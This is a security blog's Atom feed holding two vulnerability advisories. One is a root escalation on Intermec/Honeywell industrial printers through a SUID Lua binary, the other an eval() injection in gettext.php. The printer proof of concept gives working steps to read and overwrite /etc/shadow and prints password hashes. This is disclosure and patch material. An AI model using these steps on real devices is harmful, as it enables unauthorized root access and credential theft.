<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4457623080129847893</id><updated>2024-09-06T02:09:44.957+02:00</updated><title type='text'>kmkz&#39;s blog</title><subtitle type='html'>Just another web blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1882201346900001713</id><published>2017-03-28T11:19:00.001+02:00</published><updated>2017-03-29T10:44:43.655+02:00</updated><title type='text'>[Advisory] CVE-2017-5671 Intermec (Honeywell) RFID Industrial printers local root w/ Busybox Jailbreak</title><content type='html'>&lt;b&gt;# Date&lt;/b&gt;: January 31th, 2017&lt;br /&gt;
&lt;b&gt;# Author&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Product Homepage&lt;/b&gt;: &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.intermec.com/products/prtrpm43a/&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Firmware download&lt;/b&gt;: &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.intermec.com/products/prtrpm43a/downloads.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Tested on&lt;/b&gt; :&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;u&gt;model&lt;/u&gt;: PM43 RFID Industrial printer&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; f&lt;u&gt;irmware version&lt;/u&gt;: 10.10.011406&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;u&gt;kernel&lt;/u&gt;: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# CVSS&lt;/b&gt;: &lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;7.5 &lt;/b&gt;&lt;/span&gt;(CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)&lt;br /&gt;
&lt;b&gt;# OVE ID&lt;/b&gt;: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;OVE-20170131-0001&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;# CVE ID&lt;/b&gt;: &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;CVE-2017-5671&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;# VulnDB ID: 154533&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Thanks&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Honeywell team which was really reactive (with special thanks to Kevin Staggs) !&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Credits&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href=&quot;https://github.com/kmkz/exploit/blob/master/CVE-2017-5671-Credits.pdf&quot; target=&quot;_blank&quot;&gt;The security notification that Intermec (Honeywell) sent to all of their dealers &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Additional link&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak/&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Affected products&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;b&gt;# Fixes&lt;/b&gt;:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Download the new firmware version by using this &lt;a href=&quot;http://epsfiles.intermec.com/eps_files/eps_download/Firmware_P10.11.013310.zip&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;b&gt;# Release note&lt;/b&gt;: &lt;a href=&quot;http://apps.intermec.com/downloads/eps_download/Firmware%20Release%20Notes%20x10_11_013310.pdf&quot; target=&quot;_blank&quot;&gt;Here&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;u&gt;&lt;i&gt;&lt;b&gt;Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;I. PRODUCT&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;II. ADVISORY&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Using a bad file permission, it is possible to gain full root privilege on a PM43 (but not only) RFID industrial printer as well as from the &lt;i&gt;admin&lt;/i&gt; account as &lt;i&gt;it-admin&lt;/i&gt; which are the two default users on the machine.&lt;br /&gt;
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.&lt;br /&gt;
&lt;br /&gt;
The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before&amp;nbsp; March 12th 2017).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;III. VULNERABILITY DESCRIPTION&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.&lt;br /&gt;
The default it-admin and/or admin credentials are available in the vendor&#39;s documentation and should be modified too.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;IV. PROOF OF CONCEPT&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;&lt;i&gt;itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2&amp;gt;/dev/null&lt;br /&gt;/bin/busybox&lt;br /&gt;/usr/bin/cfg&lt;br /&gt;/usr/bin/lua&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: black;&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Lua binary with SUID perm.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;/usr/bin/httpd_restore&lt;br /&gt;/usr/bin/ikev2&lt;br /&gt;/usr/bin/pwauth&lt;br /&gt;/usr/bin/functest&lt;br /&gt;/usr/bin/imecutil&lt;br /&gt;/usr/bin/httpd_fwupgrade&lt;br /&gt;/usr/sbin/setkey&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;color: #073763;&quot;&gt;itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua&lt;br /&gt;Lua 5.1.4&amp;nbsp; Copyright (C) 1994-2008 Lua.org, PUC-Rio&lt;br /&gt;&amp;gt; os.execute(&quot;id&quot;)&lt;br /&gt;uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):&lt;br /&gt;
&lt;br /&gt;
// in the Lua interpreter:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;color: #073763;&quot;&gt;&amp;gt; f=io.open(&quot;/etc/shadow&quot;,&quot;rb&quot;)&lt;br /&gt;&amp;gt; print(f)&lt;br /&gt;file (0x17af0)&lt;br /&gt;&amp;gt; c=f:read &quot;*a&quot;&lt;br /&gt;&amp;gt; print(c)&lt;br /&gt;root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::&lt;br /&gt;admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::&lt;br /&gt;itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::&lt;br /&gt;user::11851:0:99999:7:::&lt;br /&gt;ftp:*:11851:0:99999:7:::&lt;br /&gt;nobody:*:11851:0:99999:7:::&lt;br /&gt;lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
We conclude this &quot;proof of concept&quot; by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;&lt;i&gt;fp = io.popen(&quot;akerva&quot;, &quot;w&quot;)&lt;br /&gt;fp:write(anything)&lt;br /&gt;fp:close()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
That gave us the following output:&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;&lt;i&gt;itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva&lt;br /&gt;AKERVA r00t&lt;br /&gt;itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva&lt;br /&gt;&amp;nbsp;&amp;nbsp; 4 -rw-rw-r--&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 12 Jan 25 07:12 akerva&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
As explained in the above text, we then over-writed the &quot;etc/shadow&quot; file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing&lt;br /&gt;
its shell restrictions (jailbreaking it).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;V. RECOMMENDATIONS&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
AKERVA&#39;s Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.&lt;br /&gt;
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;VI. VERSIONS AFFECTED&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;VII. TIMELINE&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;January 19th, 2017&lt;/u&gt;: Vulnerability identification&lt;br /&gt;
&lt;u&gt;January 27th, 2017&lt;/u&gt;: First contact with the editor (Honeywell)&lt;br /&gt;
&lt;u&gt;January 31th, 2017&lt;/u&gt;: Advisory submission to Honeywell security team and CVE id request&lt;br /&gt;
&lt;u&gt;February 1st, 2017&lt;/u&gt;: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE&lt;br /&gt;
&lt;u&gt;February 6th, 2017&lt;/u&gt;: Vendor confirm the vulnerability &lt;br /&gt;
&lt;u&gt;February 16th, 2017&lt;/u&gt;: Vendor inform that the fix is ready (They also proposed me to test it prior to release)&lt;br /&gt;
&lt;u&gt;March 12th, 2017&lt;/u&gt;: New firmware version available&lt;br /&gt;
&lt;u&gt;March 28th, 2017&lt;/u&gt;: Public advisory released&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;VIII. LEGAL NOTICES&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The information contained within this advisory is supplied &quot;as-is&quot; with no warranties or guarantees of fitness of use or otherwise.&lt;br /&gt;
I accept no responsibility for any damage caused by the use or misuse of this advisory.</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1882201346900001713/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1882201346900001713' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1882201346900001713'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1882201346900001713'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2017/03/advisory-cve-2017-5671-intermec.html' title='[Advisory] CVE-2017-5671 Intermec (Honeywell) RFID Industrial printers local root w/ Busybox Jailbreak'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1065233655939428122</id><published>2016-07-25T13:34:00.001+02:00</published><updated>2016-07-25T17:43:59.819+02:00</updated><title type='text'>[Advisory] CVE-2016-6175</title><content type='html'>&lt;style type=&quot;text/css&quot;&gt;p { margin-bottom: 0.25cm; line-height: 120%; }a:link {  }&lt;/style&gt;


&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;u&gt;&lt;b&gt;Title&lt;/b&gt;&lt;/u&gt;:&amp;nbsp; &lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;g&lt;/b&gt;&lt;b&gt;ettext.&lt;/b&gt;&lt;b&gt;php&lt;/b&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;&amp;lt;= 1.0.12 &lt;/b&gt;&lt;span lang=&quot;en-US&quot;&gt;&lt;b&gt;unauthenticated &lt;/b&gt;&lt;/span&gt;&lt;b&gt;code
execution with &lt;/b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;POTENTIAL&lt;/b&gt;&lt;/span&gt;&lt;b&gt;
&lt;/b&gt;&lt;b&gt;privileges escalation&lt;/b&gt; 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Date&lt;/b&gt;: June
25th, 2016&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Author&lt;/b&gt;:
kmkz (Bourbon Jean-marie) |
@kmkz_security&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Project&lt;/b&gt;&lt;b&gt;
Homepage&lt;/b&gt;: https://launchpad.net/php-gettext/&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Download&lt;/b&gt;:
https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Version&lt;/b&gt;:
1.0.12 (latest release)&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Tested on&lt;/b&gt;:
Linux Debian, PHP 5.6.19-2+b1&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;CVSS&lt;/b&gt;: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;7.1&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;CVE ID&lt;/b&gt;:
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;CVE-2016-6175&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;OVE ID&lt;/b&gt;:
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;OVE-20160705-0004&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;OSVD&lt;/b&gt;&lt;b&gt;B
&lt;/b&gt;&lt;b&gt;ID&lt;/b&gt;: n/a&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;u&gt;Thanks&lt;/u&gt;:&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;b&gt;Lars Michelsen&lt;/b&gt;&lt;/span&gt; from
NagVis project where this bug was discovered and &lt;b&gt;Danilo Segan&lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;
                    from gettext.php team project &lt;/span&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;for
their reactivity and professionalism&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Credits&lt;/b&gt;: 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53&quot;&gt;https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://bugs.launchpad.net/php-gettext/+bug/1606184&quot;&gt;https://bugs.launchpad.net/php-gettext/+bug/1606184&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
# &lt;b&gt;Fix&lt;/b&gt;&lt;b&gt;es&lt;/b&gt;:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/serv&quot;&gt;https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/ser&lt;/a&gt;ver/core/ext/php-gettext-1.0.12/gettext.php&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://bugs.launchpad.net/php-gettext/+bug/1606184&quot;&gt;https://bugs.launchpad.net/php-gettext/+bug/1606184&lt;/a&gt; &lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;g&lt;/b&gt;&lt;b&gt;ettext.php
&amp;lt;= 1.0.12 (latest) &lt;/b&gt;&lt;b&gt; local/remote code execution &lt;/b&gt;&lt;b&gt;with
&lt;/b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;POTENTIAL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;
&lt;/b&gt;&lt;b&gt;privileges escalation &lt;/b&gt;&lt;b&gt;issue&lt;/b&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
I. APPLICATION&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
This library
provides PHP functions to read MO files even when gettext is not
compiled in or when appropriate locale is not present on the system.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
This issue was
discovered by auditing Nagvis project source code, however NagVis is
not impacted by the following issue.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
NagVis is a visualization addon for the well known network
managment system &lt;a href=&quot;http://www.nagios.org/&quot;&gt;Nagios&lt;/a&gt;.&lt;br /&gt;
NagVis can be used to visualize Nagios Data, e.g. to display IT
processes like a mail system or a network infrastructure.&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
II. ADVISORY&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;
A  possible remote
(or local) code execution were identified in the &lt;b&gt;gettext.php&lt;/b&gt;
file allowing an attacker to gain access on the targeted host system
and/or gain application’s privileges throught&lt;span lang=&quot;en-US&quot;&gt; a
specially crafted .mo language file.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;a href=&quot;https://www.blogger.com/null&quot; name=&quot;result_box&quot;&gt;&lt;/a&gt;
The &lt;b&gt;$string&lt;/b&gt; variable is not s&lt;span lang=&quot;en-US&quot;&gt;ufficiently
&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;sanitized&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;before
to be submitted to &lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;
function (which is dangerous) in &lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;&lt;b&gt;select_string()&lt;/b&gt;&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;
function &lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;causing the security issue.&lt;/span&gt;&lt;/div&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;border-bottom: 1.05pt double #000000; border-left: none; border-right: none; border-top: none; line-height: 100%; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;&quot;&gt;
III. VULNERABILITY DESCRIPTION&lt;/div&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;en-US&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;The
&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;&lt;b&gt;gettext_reader&lt;/b&gt;&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;&lt;b&gt;()
&lt;/b&gt;&lt;/span&gt;&lt;span lang=&quot;en-US&quot;&gt;funtion try to test magic number that
need to match with .mo files :&lt;/span&gt;&lt;/div&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;$MAGIC1 =
&quot;\x95\x04\x12\xde&quot;;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;$MAGIC2 =
&quot;\xde\x12\x04\x95&lt;/b&gt;&quot;;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
If it seems correct
then we’ll continue.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
We then extract 
forms from .mo file’s header through  &lt;b&gt;get_plural_forms()&lt;/b&gt;
function and check them with a &lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;deprecated&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;
&lt;/span&gt;(&lt;i&gt;since php 5.3.0 &lt;/i&gt;&lt;i&gt;because it can be easily bypassed
by adding a Null Byte&lt;/i&gt;) &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;eregi()&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;
&lt;/span&gt;regexp function in order to valid they match the following
pattern:&lt;/div&gt;
&lt;div align=&quot;center&quot; style=&quot;line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;color: #6666ff;&quot;&gt;&lt;i&gt;&lt;b&gt;plural-forms:
([^\n]*)\n&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
